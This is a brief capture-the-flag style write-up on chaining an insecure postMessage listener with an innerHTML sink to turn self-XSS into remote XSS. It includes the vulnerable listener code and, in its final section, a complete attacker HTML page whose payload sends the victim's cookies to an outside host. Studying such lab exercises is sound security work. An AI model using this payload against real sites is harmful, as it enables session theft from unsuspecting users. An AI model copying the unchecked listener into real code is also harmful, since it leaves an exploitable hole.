from-self-xss-to-real-xss
From self-XSS to real XSS
What’s new here?
This challenge combines two bugs:
- Insecure postMessage listener
- No
event.originvalidation
- No
- DOM XSS sink
- Message content is injected into the DOM unsafely
Result: Remote XSS via iframe
Mental model
Normally
- Self-XSS requires user interaction
- Not exploitable remotely
Here
- postMessage lets attacker send data into victim’s DOM
- postMessage removes user interaction
- iframe makes it cross-origin
Self-XSS → Stored/Reflected XSS equivalent
Vulnerable pattern
Vulnerable listener
window.addEventListener("message", function (event) {
document.getElementById("output").innerHTML = event.data;
});
- No origin check
- Uses
innerHTML - Attacker controls
event.data
Attack Flow
Victim logged in
↓
Victim visits attacker page
↓
Attacker loads vulnerable site in iframe
↓
Attacker sends XSS payload via postMessage
↓
Payload executes in victim origin
↓
Cookies / secrets leaked
The Attack
To exploit this issue, you will need to create a malicious HTML page that will open the vulnerable page in an iframe and postMessage to the iframe.
<iframe src="http://ptl-dd5dd9f3643d-ad3e978ff5fb.libcurl.me/" id=f width=100% height=600></iframe>
<script>
setTimeout(()=>{
f.contentWindow.postMessage(`
<img src=x onerror="location='http://public-ip/?c='+encodeURIComponent(document.cookie)">
`,"*");
}, 3000);
</script>
This will send the XSS payload to the event listener, which gets injected to the page using innerHTML which executes the xss payload and we can steal the cookie.